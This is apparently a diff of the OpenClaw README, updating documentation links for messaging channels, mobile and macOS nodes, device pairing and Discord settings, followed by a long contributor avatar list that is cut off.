- [Channels](https://docs.openclaw.ai/channels): [WhatsApp](https://docs.openclaw.ai/channels/whatsapp) (Baileys), [Telegram](https://docs.openclaw.ai/channels/telegram) (grammY), [Slack](https://docs.openclaw.ai/channels/slack) (Bolt), [Discord](https://docs.openclaw.ai/channels/discord) (discord.js), [Google Chat](https://docs.openclaw.ai/channels/googlechat) (Chat API), [Signal](https://docs.openclaw.ai/channels/signal) (signal-cli), [BlueBubbles](https://docs.openclaw.ai/channels/bluebubbles) (iMessage, recommended), [iMessage](https://docs.openclaw.ai/channels/imessage) (legacy imsg), [Microsoft Teams](https://docs.openclaw.ai/channels/msteams) (extension), [Matrix](https://docs.openclaw.ai/channels/matrix) (extension), [Zalo](https://docs.openclaw.ai/channels/zalo) (extension), [Zalo Personal](https://docs.openclaw.ai/channels/zalouser) (extension), [WebChat](https://docs.openclaw.ai/web/webchat).
- [Group routing](https://docs.openclaw.ai/concepts/group-messages): mention gating, reply tags, per-channel chunking and routing. Channel rules: [Channels](https://docs.openclaw.ai/channels).
- [Channels](https://docs.openclaw.ai/channels): [WhatsApp](https://docs.openclaw.ai/channels/whatsapp) (Baileys), [Telegram](https://docs.openclaw.ai/channels/telegram) (grammY), [Slack](https://docs.openclaw.ai/channels/slack) (Bolt), [Discord](https://docs.openclaw.ai/channels/discord) (discord.js), [Google Chat](https://docs.openclaw.ai/channels/googlechat) (Chat API), [Signal](https://docs.openclaw.ai/channels/signal) (signal-cli), [BlueBubbles](https://docs.openclaw.ai/channels/bluebubbles) (iMessage, recommended), [iMessage](https://docs.openclaw.ai/channels/imessage) (legacy imsg), [IRC](https://docs.openclaw.ai/channels/irc), [Microsoft Teams](https://docs.openclaw.ai/channels/msteams), [Matrix](https://docs.openclaw.ai/channels/matrix), [Feishu](https://docs.openclaw.ai/channels/feishu), [LINE](https://docs.openclaw.ai/channels/line), [Mattermost](https://docs.openclaw.ai/channels/mattermost), [Nextcloud Talk](https://docs.openclaw.ai/channels/nextcloud-talk), [Nostr](https://docs.openclaw.ai/channels/nostr), [Synology Chat](https://docs.openclaw.ai/channels/synology-chat), [Tlon](https://docs.openclaw.ai/channels/tlon), [Twitch](https://docs.openclaw.ai/channels/twitch), [Zalo](https://docs.openclaw.ai/channels/zalo), [Zalo Personal](https://docs.openclaw.ai/channels/zalouser), [WebChat](https://docs.openclaw.ai/web/webchat).
- [Group routing](https://docs.openclaw.ai/channels/group-messages): mention gating, reply tags, per-channel chunking and routing. Channel rules: [Channels](https://docs.openclaw.ai/channels).
### Apps + nodes
- [macOS app](https://docs.openclaw.ai/platforms/macos): menu bar control plane, [Voice Wake](https://docs.openclaw.ai/nodes/voicewake)/PTT, [Talk Mode](https://docs.openclaw.ai/nodes/talk) overlay, [WebChat](https://docs.openclaw.ai/web/webchat), debug tools, [remote gateway](https://docs.openclaw.ai/gateway/remote) control.
- [iOS node](https://docs.openclaw.ai/platforms/ios): [Canvas](https://docs.openclaw.ai/platforms/mac/canvas), [Voice Wake](https://docs.openclaw.ai/nodes/voicewake), [Talk Mode](https://docs.openclaw.ai/nodes/talk), camera, screen recording, Bonjour pairing.
- [Android node](https://docs.openclaw.ai/platforms/android): [Canvas](https://docs.openclaw.ai/platforms/mac/canvas), [Talk Mode](https://docs.openclaw.ai/nodes/talk), camera, screen recording, optional SMS.
- [iOS node](https://docs.openclaw.ai/platforms/ios): [Canvas](https://docs.openclaw.ai/platforms/mac/canvas), [Voice Wake](https://docs.openclaw.ai/nodes/voicewake), [Talk Mode](https://docs.openclaw.ai/nodes/talk), camera, screen recording, Bonjour + device pairing.
- [Android node](https://docs.openclaw.ai/platforms/android): Connect tab (setup code/manual), chat sessions, voice tab, [Canvas](https://docs.openclaw.ai/platforms/mac/canvas), camera/screen recording, and Android device commands (notifications/location/SMS/photos/contacts/calendar/motion/app update).
- [macOS node mode](https://docs.openclaw.ai/nodes): system.run/notify + canvas/camera exposure.
### Tools + automation
@@ -164,7 +170,7 @@ Run `openclaw doctor` to surface risky/misconfigured DM policies.
### Runtime + safety
- [Channel routing](https://docs.openclaw.ai/concepts/channel-routing), [retry policy](https://docs.openclaw.ai/concepts/retry), and [streaming/chunking](https://docs.openclaw.ai/concepts/streaming).
- [Channel routing](https://docs.openclaw.ai/channels/channel-routing), [retry policy](https://docs.openclaw.ai/concepts/retry), and [streaming/chunking](https://docs.openclaw.ai/concepts/streaming).
- [Presence](https://docs.openclaw.ai/concepts/presence), [typing indicators](https://docs.openclaw.ai/concepts/typing-indicators), and [usage tracking](https://docs.openclaw.ai/concepts/usage-tracking).
- [Models](https://docs.openclaw.ai/concepts/models), [model failover](https://docs.openclaw.ai/concepts/model-failover), and [session pruning](https://docs.openclaw.ai/concepts/session-pruning).
- [Security](https://docs.openclaw.ai/gateway/security) and [troubleshooting](https://docs.openclaw.ai/channels/troubleshooting).
@@ -179,7 +185,7 @@ Run `openclaw doctor` to surface risky/misconfigured DM policies.
## How it works (short)
```
WhatsApp / Telegram / Slack / Discord / Google Chat / Signal / iMessage / BlueBubbles / Microsoft Teams / Matrix / Zalo / Zalo Personal / WebChat
WhatsApp / Telegram / Slack / Discord / Google Chat / Signal / iMessage / BlueBubbles / IRC / Microsoft Teams / Matrix / Feishu / LINE / Mattermost / Nextcloud Talk / Nostr / Synology Chat / Tlon / Twitch / Zalo / Zalo Personal / WebChat
┌───────────────────────────────┐
@@ -201,7 +207,7 @@ WhatsApp / Telegram / Slack / Discord / Google Chat / Signal / iMessage / BlueBu
- **[Tailscale exposure](https://docs.openclaw.ai/gateway/tailscale)** — Serve/Funnel for the Gateway dashboard + WS (remote access: [Remote](https://docs.openclaw.ai/gateway/remote)).
- **[Browser control](https://docs.openclaw.ai/tools/browser)** — openclawmanaged Chrome/Chromium with CDP control.
- **[Canvas + A2UI](https://docs.openclaw.ai/platforms/mac/canvas)** — agentdriven visual workspace (A2UI host: [Canvas/A2UI](https://docs.openclaw.ai/platforms/mac/canvas#canvas-a2ui)).
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — alwayson speech and continuous conversation.
- **[Voice Wake](https://docs.openclaw.ai/nodes/voicewake) + [Talk Mode](https://docs.openclaw.ai/nodes/talk)** — wake words on macOS/iOS plus continuous voice on Android.
- **[Nodes](https://docs.openclaw.ai/nodes)** — Canvas, camera snap/clip, screen record, `location.get`, notifications, plus macOSonly `system.run`/`system.notify`.
## Tailscale access (Gateway dashboard)
@@ -291,7 +297,7 @@ Note: signed builds required for macOS permissions to stick across rebuilds (see
### iOS node (optional)
- Pairs as a node via the Bridge.
- Pairs as a node over the Gateway WebSocket (device pairing).
- Voice trigger forwarding + Canvas surface.
- Controlled via `openclaw nodes …`.
@@ -299,8 +305,8 @@ Runbook: [iOS connect](https://docs.openclaw.ai/platforms/ios).
### Android node (optional)
- Pairs via the same Bridge + pairing flow as iOS.
- Exposes Canvas, Camera, and Screen capture commands.
- Pairs as a WS node via device pairing (`openclaw devices ...`).
- Exposes Connect/Chat/Voice tabs plus Canvas, Camera, Screen capture, and Android device command families.
- Runbook: [Android connect](https://docs.openclaw.ai/platforms/android).
## Agent workspace + skills
@@ -359,7 +365,7 @@ Details: [Security guide](https://docs.openclaw.ai/gateway/security) · [Docker
### [Discord](https://docs.openclaw.ai/channels/discord)
- Set `DISCORD_BOT_TOKEN` or `channels.discord.token` (env wins).
- Optional: set `commands.native`, `commands.text`, or `commands.useAccessGroups`, plus `channels.discord.dm.allowFrom`, `channels.discord.guilds`, or `channels.discord.mediaMaxMb` as needed.
- Optional: set `commands.native`, `commands.text`, or `commands.useAccessGroups`, plus `channels.discord.allowFrom`, `channels.discord.guilds`, or `channels.discord.mediaMaxMb` as needed.
```json5
{
@@ -496,49 +502,58 @@ Special thanks to Adam Doppelt for lobster.bot.
Thanks to all clawtributors:
<p align="left">
<a href="https://github.com/steipete"><img src="https://avatars.githubusercontent.com/u/58493?v=4&s=48" width="48" height="48" alt="steipete" title="steipete"/></a> <a href="https://github.com/joshp123"><img src="https://avatars.githubusercontent.com/u/1497361?v=4&s=48" width="48" height="48" alt="joshp123" title="joshp123"/></a> <a href="https://github.com/cpojer"><img src="https://avatars.githubusercontent.com/u/13352?v=4&s=48" width="48" height="48" alt="cpojer" title="cpojer"/></a> <a href="https://github.com/mbelinky"><img src="https://avatars.githubusercontent.com/u/132747814?v=4&s=48" width="48" height="48" alt="Mariano Belinky" title="Mariano Belinky"/></a> <a href="https://github.com/plum-dawg"><img src="https://avatars.githubusercontent.com/u/5909950?v=4&s=48" width="48" height="48" alt="plum-dawg" title="plum-dawg"/></a> <a href="https://github.com/bohdanpodvirnyi"><img src="https://avatars.githubusercontent.com/u/31819391?v=4&s=48" width="48" height="48" alt="bohdanpodvirnyi" title="bohdanpodvirnyi"/></a> <a href="https://github.com/sebslight"><img src="https://avatars.githubusercontent.com/u/19554889?v=4&s=48" width="48" height="48" alt="sebslight" title="sebslight"/></a> <a href="https://github.com/iHildy"><img src="https://avatars.githubusercontent.com/u/25069719?v=4&s=48" width="48" height="48" alt="iHildy" title="iHildy"/></a> <a href="https://github.com/jaydenfyi"><img src="https://avatars.githubusercontent.com/u/213395523?v=4&s=48" width="48" height="48" alt="jaydenfyi" title="jaydenfyi"/></a> <a href="https://github.com/joaohlisboa"><img src="https://avatars.githubusercontent.com/u/8200873?v=4&s=48" width="48" height="48" alt="joaohlisboa" title="joaohlisboa"/></a>
<a href="https://github.com/mneves75"><img src="https://avatars.githubusercontent.com/u/2423436?v=4&s=48" width="48" height="48" alt="mneves75" title="mneves75"/></a> <a href="https://github.com/MatthieuBizien"><img src="https://avatars.githubusercontent.com/u/173090?v=4&s=48" width="48" height="48" alt="MatthieuBizien" title="MatthieuBizien"/></a> <a href="https://github.com/Glucksberg"><img src="https://avatars.githubusercontent.com/u/80581902?v=4&s=48" width="48" height="48" alt="Glucksberg" title="Glucksberg"/></a> <a href="https://github.com/MaudeBot"><img src="https://avatars.githubusercontent.com/u/255777700?v=4&s=48" width="48" height="48" alt="MaudeBot" title="MaudeBot"/></a> <a href="https://github.com/gumadeiras"><img src="https://avatars.githubusercontent.com/u/5599352?v=4&s=48" width="48" height="48" alt="gumadeiras" title="gumadeiras"/></a> <a href="https://github.com/tyler6204"><img src="https://avatars.githubusercontent.com/u/64381258?v=4&s=48" width="48" height="48" alt="tyler6204" title="tyler6204"/></a> <a href="https://github.com/rahthakor"><img src="https://avatars.githubusercontent.com/u/8470553?v=4&s=48" width="48" height="48" alt="rahthakor" title="rahthakor"/></a> <a href="https://github.com/vrknetha"><img src="https://avatars.githubusercontent.com/u/20596261?v=4&s=48" width="48" height="48" alt="vrknetha" title="vrknetha"/></a> <a href="https://github.com/vignesh07"><img src="https://avatars.githubusercontent.com/u/1436853?v=4&s=48" width="48" height="48" alt="vignesh07" title="vignesh07"/></a> <a href="https://github.com/radek-paclt"><img src="https://avatars.githubusercontent.com/u/50451445?v=4&s=48" width="48" height="48" alt="radek-paclt" title="radek-paclt"/></a>
<a href="https://github.com/abdelsfane"><img src="https://avatars.githubusercontent.com/u/32418586?v=4&s=48" width="48" height="48" alt="abdelsfane" title="abdelsfane"/></a> <a href="https://github.com/tobiasbischoff"><img src="https://avatars.githubusercontent.com/u/711564?v=4&s=48" width="48" height="48" alt="Tobias Bischoff" title="Tobias Bischoff"/></a> <a href="https://github.com/christianklotz"><img src="https://avatars.githubusercontent.com/u/69443?v=4&s=48" width="48" height="48" alt="christianklotz" title="christianklotz"/></a> <a href="https://github.com/czekaj"><img src="https://avatars.githubusercontent.com/u/1464539?v=4&s=48" width="48" height="48" alt="czekaj" title="czekaj"/></a> <a href="https://github.com/ethanpalm"><img src="https://avatars.githubusercontent.com/u/56270045?v=4&s=48" width="48" height="48" alt="ethanpalm" title="ethanpalm"/></a> <a href="https://github.com/mukhtharcm"><img src="https://avatars.githubusercontent.com/u/56378562?v=4&s=48" width="48" height="48" alt="mukhtharcm" title="mukhtharcm"/></a> <a href="https://github.com/maxsumrall"><img src="https://avatars.githubusercontent.com/u/628843?v=4&s=48" width="48" height="48" alt="maxsumrall" title="maxsumrall"/></a> <a href="https://github.com/xadenryan"><img src="https://avatars.githubusercontent.com/u/165437834?v=4&s=48" width="48" height="48" alt="xadenryan" title="xadenryan"/></a> <a href="https://github.com/VACInc"><img src="https://avatars.githubusercontent.com/u/3279061?v=4&s=48" width="48" height="48" alt="VACInc" title="VACInc"/></a> <a href="https://github.com/rodrigouroz"><img src="https://avatars.githubusercontent.com/u/384037?v=4&s=48" width="48" height="48" alt="rodrigouroz" title="rodrigouroz"/></a>
<a href="https://github.com/juanpablodlc"><img src="https://avatars.githubusercontent.com/u/92012363?v=4&s=48" width="48" height="48" alt="juanpablodlc" title="juanpablodlc"/></a> <a href="https://github.com/conroywhitney"><img src="https://avatars.githubusercontent.com/u/249891?v=4&s=48" width="48" height="48" alt="conroywhitney" title="conroywhitney"/></a> <a href="https://github.com/hsrvc"><img src="https://avatars.githubusercontent.com/u/129702169?v=4&s=48" width="48" height="48" alt="hsrvc" title="hsrvc"/></a> <a href="https://github.com/magimetal"><img src="https://avatars.githubusercontent.com/u/36491250?v=4&s=48" width="48" height="48" alt="magimetal" title="magimetal"/></a> <a href="https://github.com/zerone0x"><img src="https://avatars.githubusercontent.com/u/39543393?v=4&s=48" width="48" height="48" alt="zerone0x" title="zerone0x"/></a> <a href="https://github.com/Takhoffman"><img src="https://avatars.githubusercontent.com/u/781889?v=4&s=48" width="48" height="48" alt="Takhoffman" title="Takhoffman"/></a> <a href="https://github.com/meaningfool"><img src="https://avatars.githubusercontent.com/u/2862331?v=4&s=48" width="48" height="48" alt="meaningfool" title="meaningfool"/></a> <a href="https://github.com/mudrii"><img src="https://avatars.githubusercontent.com/u/220262?v=4&s=48" width="48" height="48" alt="mudrii" title="mudrii"/></a> <a href="https://github.com/patelhiren"><img src="https://avatars.githubusercontent.com/u/172098?v=4&s=48" width="48" height="48" alt="patelhiren" title="patelhiren"/></a> <a href="https://github.com/NicholasSpisak"><img src="https://avatars.githubusercontent.com/u/129075147?v=4&s=48" width="48" height="48" alt="NicholasSpisak" title="NicholasSpisak"/></a>
<a href="https://github.com/jonisjongithub"><img src="https://avatars.githubusercontent.com/u/86072337?v=4&s=48" width="48" height="48" alt="jonisjongithub" title="jonisjongithub"/></a> <a href="https://github.com/AbhisekBasu1"><img src="https://avatars.githubusercontent.com/u/40645221?v=4&s=48" width="48" height="48" alt="abhisekbasu1" title="abhisekbasu1"/></a> <a href="https://github.com/jamesgroat"><img src="https://avatars.githubusercontent.com/u/2634024?v=4&s=48" width="48" height="48" alt="jamesgroat" title="jamesgroat"/></a> <a href="https://github.com/BunsDev"><img src="https://avatars.githubusercontent.com/u/68980965?v=4&s=48" width="48" height="48" alt="BunsDev" title="BunsDev"/></a> <a href="https://github.com/claude"><img src="https://avatars.githubusercontent.com/u/81847?v=4&s=48" width="48" height="48" alt="claude" title="claude"/></a> <a href="https://github.com/JustYannicc"><img src="https://avatars.githubusercontent.com/u/52761674?v=4&s=48" width="48" height="48" alt="JustYannicc" title="JustYannicc"/></a> <a href="https://github.com/Hyaxia"><img src="https://avatars.githubusercontent.com/u/36747317?v=4&s=48" width="48" height="48" alt="Hyaxia" title="Hyaxia"/></a> <a href="https://github.com/dantelex"><img src="https://avatars.githubusercontent.com/u/631543?v=4&s=48" width="48" height="48" alt="dantelex" title="dantelex"/></a> <a href="https://github.com/SocialNerd42069"><img src="https://avatars.githubusercontent.com/u/118244303?v=4&s=48" width="48" height="48" alt="SocialNerd42069" title="SocialNerd42069"/></a> <a href="https://github.com/daveonkels"><img src="https://avatars.githubusercontent.com/u/533642?v=4&s=48" width="48" height="48" alt="daveonkels" title="daveonkels"/></a>
<a href="https://github.com/apps/google-labs-jules"><img src="https://avatars.githubusercontent.com/in/842251?v=4&s=48" width="48" height="48" alt="google-labs-jules[bot]" title="google-labs-jules[bot]"/></a> <a href="https://github.com/lc0rp"><img src="https://avatars.githubusercontent.com/u/2609441?v=4&s=48" width="48" height="48" alt="lc0rp" title="lc0rp"/></a> <a href="https://github.com/adam91holt"><img src="https://avatars.githubusercontent.com/u/9592417?v=4&s=48" width="48" height="48" alt="adam91holt" title="adam91holt"/></a> <a href="https://github.com/mousberg"><img src="https://avatars.githubusercontent.com/u/57605064?v=4&s=48" width="48" height="48" alt="mousberg" title="mousberg"/></a> <a href="https://github.com/hougangdev"><img src="https://avatars.githubusercontent.com/u/105773686?v=4&s=48" width="48" height="48" alt="hougangdev" title="hougangdev"/></a> <a href="https://github.com/shakkernerd"><img src="https://avatars.githubusercontent.com/u/165377636?v=4&s=48" width="48" height="48" alt="shakkernerd" title="shakkernerd"/></a> <a href="https://github.com/coygeek"><img src="https://avatars.githubusercontent.com/u/65363919?v=4&s=48" width="48" height="48" alt="coygeek" title="coygeek"/></a> <a href="https://github.com/mteam88"><img src="https://avatars.githubusercontent.com/u/84196639?v=4&s=48" width="48" height="48" alt="mteam88" title="mteam88"/></a> <a href="https://github.com/hirefrank"><img src="https://avatars.githubusercontent.com/u/183158?v=4&s=48" width="48" height="48" alt="hirefrank" title="hirefrank"/></a> <a href="https://github.com/M00N7682"><img src="https://avatars.githubusercontent.com/u/170746674?v=4&s=48" width="48" height="48" alt="M00N7682" title="M00N7682"/></a>
<a href="https://github.com/joeynyc"><img src="https://avatars.githubusercontent.com/u/17919866?v=4&s=48" width="48" height="48" alt="joeynyc" title="joeynyc"/></a> <a href="https://github.com/orlyjamie"><img src="https://avatars.githubusercontent.com/u/6668807?v=4&s=48" width="48" height="48" alt="orlyjamie" title="orlyjamie"/></a> <a href="https://github.com/dbhurley"><img src="https://avatars.githubusercontent.com/u/5251425?v=4&s=48" width="48" height="48" alt="dbhurley" title="dbhurley"/></a> <a href="https://github.com/omniwired"><img src="https://avatars.githubusercontent.com/u/322761?v=4&s=48" width="48" height="48" alt="Eng. Juan Combetto" title="Eng. Juan Combetto"/></a> <a href="https://github.com/TSavo"><img src="https://avatars.githubusercontent.com/u/877990?v=4&s=48" width="48" height="48" alt="TSavo" title="TSavo"/></a> <a href="https://github.com/aerolalit"><img src="https://avatars.githubusercontent.com/u/17166039?v=4&s=48" width="48" height="48" alt="aerolalit" title="aerolalit"/></a> <a href="https://github.com/julianengel"><img src="https://avatars.githubusercontent.com/u/10634231?v=4&s=48" width="48" height="48" alt="julianengel" title="julianengel"/></a> <a href="https://github.com/bradleypriest"><img src="https://avatars.githubusercontent.com/u/167215?v=4&s=48" width="48" height="48" alt="bradleypriest" title="bradleypriest"/></a> <a href="https://github.com/benithors"><img src="https://avatars.githubusercontent.com/u/20652882?v=4&s=48" width="48" height="48" alt="benithors" title="benithors"/></a> <a href="https://github.com/lsh411"><img src="https://avatars.githubusercontent.com/u/6801488?v=4&s=48" width="48" height="48" alt="lsh411" title="lsh411"/></a>
<a href="https://github.com/gut-puncture"><img src="https://avatars.githubusercontent.com/u/75851986?v=4&s=48" width="48" height="48" alt="gut-puncture" title="gut-puncture"/></a> <a href="https://github.com/rohannagpal"><img src="https://avatars.githubusercontent.com/u/4009239?v=4&s=48" width="48" height="48" alt="rohannagpal" title="rohannagpal"/></a> <a href="https://github.com/timolins"><img src="https://avatars.githubusercontent.com/u/1440854?v=4&s=48" width="48" height="48" alt="timolins" title="timolins"/></a> <a href="https://github.com/f-trycua"><img src="https://avatars.githubusercontent.com/u/195596869?v=4&s=48" width="48" height="48" alt="f-trycua" title="f-trycua"/></a> <a href="https://github.com/benostein"><img src="https://avatars.githubusercontent.com/u/31802821?v=4&s=48" width="48" height="48" alt="benostein" title="benostein"/></a> <a href="https://github.com/elliotsecops"><img src="https://avatars.githubusercontent.com/u/141947839?v=4&s=48" width="48" height="48" alt="elliotsecops" title="elliotsecops"/></a> <a href="https://github.com/Nachx639"><img src="https://avatars.githubusercontent.com/u/71144023?v=4&s=48" width="48" height="48" alt="nachx639" title="nachx639"/></a> <a href="https://github.com/pvoo"><img src="https://avatars.githubusercontent.com/u/20116814?v=4&s=48" width="48" height="48" alt="pvoo" title="pvoo"/></a> <a href="https://github.com/sreekaransrinath"><img src="https://avatars.githubusercontent.com/u/50989977?v=4&s=48" width="48" height="48" alt="sreekaransrinath" title="sreekaransrinath"/></a> <a href="https://github.com/gupsammy"><img src="https://avatars.githubusercontent.com/u/20296019?v=4&s=48" width="48" height="48" alt="gupsammy" title="gupsammy"/></a>
<a href="https://github.com/cristip73"><img src="https://avatars.githubusercontent.com/u/24499421?v=4&s=48" width="48" height="48" alt="cristip73" title="cristip73"/></a> <a href="https://github.com/stefangalescu"><img src="https://avatars.githubusercontent.com/u/52995748?v=4&s=48" width="48" height="48" alt="stefangalescu" title="stefangalescu"/></a> <a href="https://github.com/nachoiacovino"><img src="https://avatars.githubusercontent.com/u/50103937?v=4&s=48" width="48" height="48" alt="nachoiacovino" title="nachoiacovino"/></a> <a href="https://github.com/vsabavat"><img src="https://avatars.githubusercontent.com/u/50385532?v=4&s=48" width="48" height="48" alt="Vasanth Rao Naik Sabavat" title="Vasanth Rao Naik Sabavat"/></a> <a href="https://github.com/petter-b"><img src="https://avatars.githubusercontent.com/u/62076402?v=4&s=48" width="48" height="48" alt="petter-b" title="petter-b"/></a> <a href="https://github.com/thewilloftheshadow"><img src="https://avatars.githubusercontent.com/u/35580099?v=4&s=48" width="48" height="48" alt="thewilloftheshadow" title="thewilloftheshadow"/></a> <a href="https://github.com/leszekszpunar"><img src="https://avatars.githubusercontent.com/u/13106764?v=4&s=48" width="48" height="48" alt="leszekszpunar" title="leszekszpunar"/></a> <a href="https://github.com/scald"><img src="https://avatars.githubusercontent.com/u/1215913?v=4&s=48" width="48" height="48" alt="scald" title="scald"/></a> <a href="https://github.com/pycckuu"><img src="https://avatars.githubusercontent.com/u/1489583?v=4&s=48" width="48" height="48" alt="pycckuu" title="pycckuu"/></a> <a href="https://github.com/andranik-sahakyan"><img src="https://avatars.githubusercontent.com/u/8908029?v=4&s=48" width="48" height="48" alt="andranik-sahakyan" title="andranik-sahakyan"/></a>
<a href="https://github.com/davidguttman"><img src="https://avatars.githubusercontent.com/u/431696?v=4&s=48" width="48" height="48" alt="davidguttman" title="davidguttman"/></a> <a href="https://github.com/sleontenko"><img src="https://avatars.githubusercontent.com/u/7135949?v=4&s=48" width="48" height="48" alt="sleontenko" title="sleontenko"/></a> <a href="https://github.com/denysvitali"><img src="https://avatars.githubusercontent.com/u/4939519?v=4&s=48" width="48" height="48" alt="denysvitali" title="denysvitali"/></a> <a href="https://github.com/apps/clawdinator"><img src="https://avatars.githubusercontent.com/in/2607181?v=4&s=48" width="48" height="48" alt="clawdinator[bot]" title="clawdinator[bot]"/></a> <a href="https://github.com/TinyTb"><img src="https://avatars.githubusercontent.com/u/5957298?v=4&s=48" width="48" height="48" alt="TinyTb" title="TinyTb"/></a> <a href="https://github.com/sircrumpet"><img src="https://avatars.githubusercontent.com/u/4436535?v=4&s=48" width="48" height="48" alt="sircrumpet" title="sircrumpet"/></a> <a href="https://github.com/peschee"><img src="https://avatars.githubusercontent.com/u/63866?v=4&s=48" width="48" height="48" alt="peschee" title="peschee"/></a> <a href="https://github.com/nicolasstanley"><img src="https://avatars.githubusercontent.com/u/60584925?v=4&s=48" width="48" height="48" alt="nicolasstanley" title="nicolasstanley"/></a> <a href="https://github.com/davidiach"><img src="https://avatars.githubusercontent.com/u/28102235?v=4&s=48" width="48" height="48" alt="davidiach" title="davidiach"/></a> <a href="https://github.com/nonggialiang"><img src="https://avatars.githubusercontent.com/u/14367839?v=4&s=48" width="48" height="48" alt="nonggialiang" title="nonggialiang"/></a>
<a href="https://github.com/ironbyte-rgb"><img src="https://avatars.githubusercontent.com/u/230665944?v=4&s=48" width="48" height="48" alt="ironbyte-rgb" title="ironbyte-rgb"/></a> <a href="https://github.com/rafaelreis-r"><img src="https://avatars.githubusercontent.com/u/57492577?v=4&s=48" width="48" height="48" alt="rafaelreis-r" title="rafaelreis-r"/></a> <a href="https://github.com/dominicnunez"><img src="https://avatars.githubusercontent.com/u/43616264?v=4&s=48" width="48" height="48" alt="dominicnunez" title="dominicnunez"/></a> <a href="https://github.com/lploc94"><img src="https://avatars.githubusercontent.com/u/28453843?v=4&s=48" width="48" height="48" alt="lploc94" title="lploc94"/></a> <a href="https://github.com/ratulsarna"><img src="https://avatars.githubusercontent.com/u/105903728?v=4&s=48" width="48" height="48" alt="ratulsarna" title="ratulsarna"/></a> <a href="https://github.com/sfo2001"><img src="https://avatars.githubusercontent.com/u/103369858?v=4&s=48" width="48" height="48" alt="sfo2001" title="sfo2001"/></a> <a href="https://github.com/lutr0"><img src="https://avatars.githubusercontent.com/u/76906369?v=4&s=48" width="48" height="48" alt="lutr0" title="lutr0"/></a> <a href="https://github.com/kiranjd"><img src="https://avatars.githubusercontent.com/u/25822851?v=4&s=48" width="48" height="48" alt="kiranjd" title="kiranjd"/></a> <a href="https://github.com/danielz1z"><img src="https://avatars.githubusercontent.com/u/235270390?v=4&s=48" width="48" height="48" alt="danielz1z" title="danielz1z"/></a> <a href="https://github.com/Iranb"><img src="https://avatars.githubusercontent.com/u/49674669?v=4&s=48" width="48" height="48" alt="Iranb" title="Iranb"/></a>
<a href="https://github.com/AdeboyeDN"><img src="https://avatars.githubusercontent.com/u/65312338?v=4&s=48" width="48" height="48" alt="AdeboyeDN" title="AdeboyeDN"/></a> <a href="https://github.com/Alg0rix"><img src="https://avatars.githubusercontent.com/u/53804949?v=4&s=48" width="48" height="48" alt="Alg0rix" title="Alg0rix"/></a> <a href="https://github.com/obviyus"><img src="https://avatars.githubusercontent.com/u/22031114?v=4&s=48" width="48" height="48" alt="obviyus" title="obviyus"/></a> <a href="https://github.com/papago2355"><img src="https://avatars.githubusercontent.com/u/68721273?v=4&s=48" width="48" height="48" alt="papago2355" title="papago2355"/></a> <a href="https://github.com/emanuelst"><img src="https://avatars.githubusercontent.com/u/9994339?v=4&s=48" width="48" height="48" alt="emanuelst" title="emanuelst"/></a> <a href="https://github.com/evanotero"><img src="https://avatars.githubusercontent.com/u/13204105?v=4&s=48" width="48" height="48" alt="evanotero" title="evanotero"/></a> <a href="https://github.com/KristijanJovanovski"><img src="https://avatars.githubusercontent.com/u/8942284?v=4&s=48" width="48" height="48" alt="KristijanJovanovski" title="KristijanJovanovski"/></a> <a href="https://github.com/jlowin"><img src="https://avatars.githubusercontent.com/u/153965?v=4&s=48" width="48" height="48" alt="jlowin" title="jlowin"/></a> <a href="https://github.com/rdev"><img src="https://avatars.githubusercontent.com/u/8418866?v=4&s=48" width="48" height="48" alt="rdev" title="rdev"/></a> <a href="https://github.com/rhuanssauro"><img src="https://avatars.githubusercontent.com/u/164682191?v=4&s=48" width="48" height="48" alt="rhuanssauro" title="rhuanssauro"/></a>
<a href="https://github.com/joshrad-dev"><img src="https://avatars.githubusercontent.com/u/62785552?v=4&s=48" width="48" height="48" alt="joshrad-dev" title="joshrad-dev"/></a> <a href="https://github.com/osolmaz"><img src="https://avatars.githubusercontent.com/u/2453968?v=4&s=48" width="48" height="48" alt="osolmaz" title="osolmaz"/></a> <a href="https://github.com/adityashaw2"><img src="https://avatars.githubusercontent.com/u/41204444?v=4&s=48" width="48" height="48" alt="adityashaw2" title="adityashaw2"/></a> <a href="https://github.com/CashWilliams"><img src="https://avatars.githubusercontent.com/u/613573?v=4&s=48" width="48" height="48" alt="CashWilliams" title="CashWilliams"/></a> <a href="https://github.com/search?q=sheeek"><img src="assets/avatar-placeholder.svg" width="48" height="48" alt="sheeek" title="sheeek"/></a> <a href="https://github.com/ryancontent"><img src="https://avatars.githubusercontent.com/u/39743613?v=4&s=48" width="48" height="48" alt="ryancontent" title="ryancontent"/></a> <a href="https://github.com/jasonsschin"><img src="https://avatars.githubusercontent.com/u/1456889?v=4&s=48" width="48" height="48" alt="jasonsschin" title="jasonsschin"/></a> <a href="https://github.com/artuskg"><img src="https://avatars.githubusercontent.com/u/11966157?v=4&s=48" width="48" height="48" alt="artuskg" title="artuskg"/></a> <a href="https://github.com/onutc"><img src="https://avatars.githubusercontent.com/u/152018508?v=4&s=48" width="48" height="48" alt="onutc" title="onutc"/></a> <a href="https://github.com/pauloportella"><img src="https://avatars.githubusercontent.com/u/22947229?v=4&s=48" width="48" height="48" alt="pauloportella" title="pauloportella"/></a>
<a href="https://github.com/HirokiKobayashi-R"><img src="https://avatars.githubusercontent.com/u/37167840?v=4&s=48" width="48" height="48" alt="HirokiKobayashi-R" title="HirokiKobayashi-R"/></a> <a href="https://github.com/ThanhNguyxn"><img src="https://avatars.githubusercontent.com/u/74597207?v=4&s=48" width="48" height="48" alt="ThanhNguyxn" title="ThanhNguyxn"/></a> <a href="https://github.com/18-RAJAT"><img src="https://avatars.githubusercontent.com/u/78920780?v=4&s=48" width="48" height="48" alt="18-RAJAT" title="18-RAJAT"/></a> <a href="https://github.com/kimitaka"><img src="https://avatars.githubusercontent.com/u/167225?v=4&s=48" width="48" height="48" alt="kimitaka" title="kimitaka"/></a> <a href="https://github.com/yuting0624"><img src="https://avatars.githubusercontent.com/u/32728916?v=4&s=48" width="48" height="48" alt="yuting0624" title="yuting0624"/></a> <a href="https://github.com/neooriginal"><img src="https://avatars.githubusercontent.com/u/54811660?v=4&s=48" width="48" height="48" alt="neooriginal" title="neooriginal"/></a> <a href="https://github.com/ManuelHettich"><img src="https://avatars.githubusercontent.com/u/17690367?v=4&s=48" width="48" height="48" alt="manuelhettich" title="manuelhettich"/></a> <a href="https://github.com/minghinmatthewlam"><img src="https://avatars.githubusercontent.com/u/14224566?v=4&s=48" width="48" height="48" alt="minghinmatthewlam" title="minghinmatthewlam"/></a> <a href="https://github.com/unisone"><img 